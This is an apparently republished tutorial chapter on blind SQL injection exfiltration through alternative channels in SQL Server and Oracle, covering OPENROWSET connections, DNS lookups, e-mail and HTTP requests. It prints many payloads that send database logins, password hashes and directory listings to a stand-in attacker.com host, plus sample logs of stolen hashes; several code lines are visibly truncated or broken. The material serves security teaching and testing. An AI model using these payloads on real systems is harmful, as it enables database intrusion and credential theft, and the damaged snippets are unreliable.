Blind SQL Injection Exploitation : Using Alternative Channels

10/13/2010 9:45:09 AM
The second major category of techniques for retrieving data with blind SQL injection vulnerabilities is the use of alternative, out-of-bound channels. Instead of relying on an inference technique to derive data, channels apart from the HTTP response are co-opted into to carry chunks of data for us. The channels are not applicable to all databases, as they tend to rely on the databases’ supported functionality; by way of example, DNS is a channel that can be utilized with SQL Server and Oracle, but not with MySQL.

We will discuss four separate alternative channels for blind SQL injection: database connections, DNS, e-mail, and HTTP. The basic idea is to package the results of an SQL query in such a way that they can be carried back to the attacker using one of the three alternative channels.

Database Connections

The first alternative channel is specific to Microsoft SQL Server and permits an attacker to create a connection from the victim's database to the attacker's database and carry query data over the connection. This is accomplished using the OPENROWSET command and can be an attacker's best friend where available. For this attack to work the victim database must be able to open a Transmission Control Protocol (TCP) connection to the attacker's database on the default port 1433; if egress filtering is in place at the victim or if the attacker is performing ingress filtering, the connection will fail. However, you can connect to a different port, simply by specifying the port number after the destination Internet Protocol (IP) address. This can be very useful when the remote database server can connect back to your machine on only a few specific ports.

OPENROWSET is used on SQL Server to perform a one-time connection to a remote OLE DB data source (e.g., another SQL server). One example legitimate usage is to retrieve data that resides on a remote database as an alternative to link the two databases, which is better suited to cases when the data exchange needs to be performed on a regular basis. A typical way to call OPENROWSET is as follows:

Address=;uid=sa; pwd=password', 'SELECT review_author FROM reviews')

Here we connected to the SQL server at the address as user sa, and we ran the query SELECT review_author FROM reviews, whose results are transferred back and visualized by the outermost query. User sa is a user of the database at address, and not of the database where OPENROWSET is executed. Also note that to successfully perform the query as user sa, we must successfully authenticate, providing its correct password.

Although the example usage retrieves results from a foreign database with the SELECT statement, we can also use OPENROWSET to transmit data to a foreign database using an INSERT statement:

Address=;uid=foo; pwd=password', 'SELECT * FROM
attacker_table') SELECT name FROM sysobjects WHERE xtype='U'

By executing this query, we will select the names of user tables on the local database, and append such rows into attacker_table which resides on the attacker's server at address Of course, for the command to complete correctly, attacker_table’s columns must match the results of the local query, so the table would consist of a single varchar column.

Clearly this is a great example of an alternative channel; we can execute SQL that produces results and carries them in real time back to the attacker. Because the channel is not dependent at all on the page response, OPENROWSET is an ideal fit for blind SQL injection vulnerabilities. Tool authors have recognized this, and at least two public tools rely on OPENROWSET for exploitation: DataThief by Cesar Cerrudo and BobCat by nmonkee. The first is a proof-of-concept tool that demonstrates the power of OPENROWSET and the second is a tool that removes much of the complexity of executing OPENROWSET attacks through a GUI.

This technique is not limited to data. If you have administrative privileges and have reenabled the xp_cmdshell extended procedure , you can use the same attack to obtain the output of commands that have been executed at the operating system level. For instance, the following query would make the target database send the list of files and directories of C:\:

'Network=DBMSSOCN;Address=www.attacker.com:80; uid=sa; pwd=53kr3t',
'SELECT * FROM table') EXEC master..xp_cmdshell 'dir C:\'

DNS Exfiltration

As the most well-known alternative channel, DNS has been used both as a marker to find SQL injection vulnerabilities and as a channel on which to carry data. The advantages of DNS are numerous:

  • Where networks have only ingress but no egress filtering, the database can issue DNS requests directly to the attacker.

  • DNS uses User Datagram Protocol (UDP), a protocol that has no state requirements, so you can “fire and forget.” If no response is received for a lookup request issued by the database, at worst a non-fatal error condition occurs.

  • The design of DNS hierarchies means that the vulnerable database does not have to be able to send a packet directly to the attacker. Intermediate DNS servers will mostly be able to carry the traffic on the database's behalf.

  • When performing a lookup, the database will, by default, rely on the DNS server that is configured into the operating system, which is normally a key part of basic system setup. Thus, in all but the most restricted networks, a database can issue DNS lookups that will exit the victim's network.

The drawback of DNS is that the attacker must have access to a DNS server that is registered as authoritative for some zone (“attacker.com” in our examples), where he can monitor each lookup performed against the server. Typically this is performed either by monitoring query logs or by running tcpdump.

SQL Server and Oracle both have the ability to directly or indirectly cause a DNS request to be made. Under Oracle, this is possible with the UTL_INADDR package, which has an explicit GET_HOST_ADDRESS function to look up forward entries and a GET_HOST_NAME function to look up reverse entries:

UTL_INADDR.GET_HOST_ADDRESS(' www.victim.com') returns
UTL_INADDR.GET_HOST_NAME('') returns www.victim.com

These are more useful than the previously covered DBMS_LOCK.SLEEP function, because the DNS functions do not require PL/SQL blocks; thus, you can insert them into subqueries or predicates. The next example shows how you can extract the database login via an insertion into a predicate:


SQL Server does not support such an explicit lookup mechanism, but it is possible to indirectly initiate DNS requests through certain stored procedures. For example, you could execute the nslookup command through the xp_cmdshell procedure (available only to the administrative user, and in SQL Server 2005 and later disabled by default):

EXEC master..xp_cmdshell 'nslookup www.attacker.com'

The advantage of using nslookup is that the attacker can specify his own DNS server to which the request should be sent directly. If the attacker's DNS server is publicly available at, the SQL snippet to directly look up DNS requests is as follows:

EXEC master..xp_cmdshell 'nslookup www.attacker.com'

You can tie this into a little shell script, as follows, to extract directory contents:

EXEC master..xp_cmdshell 'for /F "tokens=5" %i in (''dir c:\'') do nslookup

The preceding code produces the following lookups:













Clearly the exploit had problems; you do not receive all output from the “dir” command, as only the fifth space-delimited token is returned from each line, and this method cannot handle file or directory names that have spaces or other disallowed domain name characters. The observant reader would also have noticed that each filename is queried twice and the first query is always against the domain victim.com.


This is the default search domain for the database machines. You can prevent lookups on the default domain by appending a period (.) to the name that is passed to nslookup.

Other stored procedures will cause an SQL server to look up a DNS name, and they rely on the support built into Windows for network Universal Naming Convention (UNC) paths. Many Windows file-handling routines can access resources on UNC shares, and when attempting to connect to a UNC path the operating system must first look up the IP address. For instance, if the UNC path supplied to some file-handling function is \\poke.attacker.com\blah, the operating system will first perform a DNS lookup on poke.attacker.com. By monitoring the server that is authoritative for the attacker.com zone, the attacker can ascertain whether the exploit was successful. The procedures are specific to SQL Server versions:

  • xp_getfiledetails (SQL Server 2000; requires a path to a file)

  • xp_fileexist (SQL Server 2000, 2005, and 2008; requires a path to a file)

  • xp_dirtree (SQL Server 2000, 2005, and 2008; requires a folder path)

For instance, to extract the database login via DNS, you could use:

DECLARE @a CHAR(128);SET @a='\\'+SYSTEM_USER+'.attacker.com.';
EXEC master..xp_dirtree @a

The preceding snippet used an intermediate variable to store the path, because string concatenation is not permitted in the procedure's argument list. The SQL indirectly caused a DNS lookup for the host name sa.attacker.com. indicating that the administrative login was used.

As I pointed out when performing DNS lookups through xp_cmdshell, the presence of illegal characters in a path will cause the resolver stub to fail without attempting a lookup, as will a UNC path that is more than 128 characters long. It is safer to first convert data you wish to retrieve into a format that is cleanly handled by DNS, and one method for doing this is to convert the data into a hexadecimal representation. SQL Server contains a function called FN_VARBINTOHEXSTR( ) that takes as its sole argument a parameter of type VARBINARY and returns a hexadecimal representation of the data. For example:

SELECT master.dbo.fn_varbintohexstr(CAST(SYSTEM_USER as VARBINARY))



which is the UTF-16 form of sa.

The next problem is that of path lengths. Because the length of data is likely to exceed 128 characters, you run the risk of either queries failing due to excessively long paths or, if you take only the first 128 characters from each row, missing out on data. By increasing the complexity of the exploit, you can retrieve specific blocks of data using a SUBSTRING( ) call. The following example performs a lookup on the first 26 bytes from the first review_body column in the reviews table:

SELECT @a='\\'+master.dbo.fn_varbintohexstr(CAST(SUBSTRING((SELECT TOP 1
CAST(review_body AS CHAR(255)) FROM reviews),1,26) AS
EXEC master..xp_dirtree @a;

The preceding code produced “0x4d6f7669657320696e20746869732067656e7265206f667465.attacker.com.” or “Movies in this genre ofte”.

Path length is unfortunately not the last complexity that we face. Although UNC paths can be at most 128 characters, this includes the prefix \\, the domain name that is appended, as well as any periods used to separate labels in the path. Labels are strings in a path that are separated by periods, so the path blah.attacker.com has three labels, namely “blah”, “attacker”, and “com”. It is illegal to have a single 128-byte label because labels can have at most 63 characters. To format the pathname such that it fulfills the label length requirements, a little more SQL is required to massage the data into the correct form. A small detail that can get in the way when using DNS is that intermediate resolvers can cache results which prevent lookups from reaching the attacker's DNS server. You can bypass this by including some random-looking value in the lookup so that subsequent lookups are not identical; current time is one option, as is the row number or a true random value.

Finally, enabling the extraction of multiple rows of data requires wrapping all of the aforementioned refinements in a loop that extracts rows one by one from a target table, breaks the data into small chunks, converts the chunks into hexadecimal, inserts periods every 63 characters in the converted chunk, prepends \\ and appends the attacker's domain name, and executes a stored procedure that indirectly causes a lookup.

The challenge of extracting all data (regardless of length or type) through DNS is tricky and solvable on an SQL Server database mainly due to T-SQL, which provides loops, conditional branching, local variables, and so on. Even though Oracle has explicit DNS functions, its more serious limitations from an attacker's point of view (lack of PL/SQL injection in SQL) prevent the exploitation seen on SQL Server.

Tools & Traps…

Zoning Out

In the examples covered here, we've assumed that the attacker controls the zone attacker.com and has full access to the authoritative server for that zone. However, when using DNS as an exfiltration channel on a regular basis for assessments or other work, using your zone's authoritative DNS server as the staging ground for the attack seems brash. Apart from the fact that this requires granting all colleagues unfettered access to the server, it is also not flexible. We advocate creating at least one subdomain that has an NS record pointing to the machine which you grant full access to all colleagues. You could even create a subdomain per colleague with the NS pointing to a machine controlled by that colleague. Here is a quick run-through on how you can add a subdomain to the zone attacker.com in BIND. In the zone file for the domain attacker.com add the following lines:

dnssucker.attacker.com. NS listen.attacker.com.
listen.attaker.com. A

The first line contains the NS record and the second provides a glue record. On the machine listen.attacker.com, a DNS server is installed that is authoritative for the domain dnssucker.attacker.com.

Subsequent DNS exfiltration will use .dnssucker.attacker.com as a suffix.

E-mail Exfiltration

Both SQL Server and Oracle support sending e-mails from within the database, and e-mail presents an intriguing exfiltration channel. Quite similarly to DNS, e-mails sent using Simple Mail Transfer Protocol (SMTP) do not require a direct connection between the sender and recipient. Rather, an intermediate network of mail transfer agents (MTAs), essentially e-mail servers, carries the e-mail on the sender's behalf. The only requirement is that there exists a route from the sender to the receiver and this indirect approach is a useful channel for blind SQL injection where other, more convenient channels are not possible. A limitation of the approach is its asynchronous nature; an exploit is sent and the e-mail could take awhile to arrive. Hence, there are no tools that the authors are aware of that support SMTP as a channel for blind SQL injection.

HTTP Exfiltration

The final exfiltration channel examined here is HTTP, which is available in databases that provide functionality for querying external Web servers and is useable in installations where the database machine has network-layer permission to access Web resources controlled by the attacker. SQL Server and MySQL do not have default mechanisms for constructing HTTP requests, but you could get there with custom extensions. Oracle, on the other hand, has an explicit function and object type by which HTTP requests can be made, provided by the UTL_HTTP or HTTPURITYPE package. The function and the object type are useful as they can be used in regular SQL queries, so a PL/SQL block is not required. Both methods are granted to PUBLIC, so any database user can execute them. HTTPURITYPE is not mentioned in most Oracle hardening guides and is normally not removed from PUBLIC. HTTP requests are as powerful as UNION SELECTs.

Usage of the functions/object types is as follows:

UTL_HTTP.REQUEST(' www.attacker.com/')
HTTPURITYPE(' www.attacker.com/').getclob

You can combine this with a blind SQL injection vulnerability to form exploits that combine the data you wish to extract with a request to a Web server you control using string concatenation:

review_author=UTL_HTTP.REQUEST(' www.attacker.com/'||USER)

After reviewing the request logs on the Web server, we find the log entry containing the database login (underlined): - - [13/Jan/2009:08:38:04 -0600] "GET /SQLI HTTP/1.1" 404 284

This Oracle function has two interesting characteristics: As part of the request, a host name must be converted into an IP address implying a second method to cause DNS requests to be issued where DNS is the exfiltration channel, and the UTL_HTTP.REQUEST function supports HTTPS requests which could aid in hiding outgoing Web traffic. The role of UTL_HTTP/HTTPURITYPE is often underestimated. It is possible to download an entire table with this function by using the proper SQL statement. Depending on the position of injection in the query it is possible that the following approach works:

SELECT * FROM unknowntable
LENGTH(UTL_HTTP.REQUEST(' www.attacker.com/'||username||chr(61)||

Here all usernames and passwords are sent to the attacker's access log. This channel can also be used for the split and balance technique (where the original parameter's value was aa):

For Oracle 11g only

'a'||CHR(UTL_HTTP.REQUEST(' www.attacker.com/'||(SELECT sys.stragg (DISTINCT
username||chr(61)||password||chr(59)) FROM dba_users)))||'a

The preceding code produces the following log entry: - - [14/Jan/2009:21:34:38 +0100] "GET /SYS=
HTTP/1.1" 404 2336

For Oracle 9i Rel. 2 and higher + XMLB

<xsl:stylesheet version="1.0"
<xsl:template match="/"><xsl:for-each
select="/ROWSET/USERNAME"><xsl:value-of select="text()"/>;
listagg from all_users)))||'a

The preceding code produces the following log entry: - - [14/Jan/2009:22:33:48 +0100] "GET


… UNION SELECT null,null,LENGTH(HTTPURITYPE(' http://attacker/'||username||
'='||password).Ggetclob FROM sys.user$ WHERE type#=0 AND

The web server access.log file will contain all usernames and passwords from the database.

Lastly, we can try injection in an ORDER BY clause, which is sometimes a little bit more complicated because the Oracle optimizer ignores sort orders if the result is known or if only one column is present in the query:

dba_users WHERE
UTL_HTTP.REQUEST('www.attacker.com/'||username||'='||password) IS NOT

The preceding code produces the following log entry: - - [15/Jan/2009:22:44:28 +0100] "GET /SYS=AD24A888FC3B1BE7
HTTP/1.1" 404 336 - - [15/Jan/2009:22:44:28 +0100] "GET /SYSTEM=BD3D49AD69E3FA34
HTTP/1.1" 404 339 - - [15/Jan/2009:22:44:28 +0100] "GET /DBSNMP=E066D214D5421CCC
HTTP/1.1" 404 337 - - [15/Jan/2009:22:44:28 +0100] "GET /OUTLN=4A3BA55E08595C81
HTTP/1.1" 404 338 - - [15/Jan/2009:22:44:28 +0100] "GET /WMSYS=7C9BA362F8314299
HTTP/1.1" 404 339 - - [15/Jan/2009:22:44:29 +0100] "GET/ORDPLUGINS=88A2B2C183431F00
HTTP/1.1" 404 343

Video tutorials
- How To Install Windows 8

- How To Install Windows Server 2012

- How To Install Windows Server 2012 On VirtualBox

- How To Disable Windows 8 Metro UI

- How To Install Windows Store Apps From Windows 8 Classic Desktop

- How To Disable Windows Update in Windows 8

- How To Disable Windows 8 Metro UI

- How To Add Widgets To Windows 8 Lock Screen
programming4us programming4us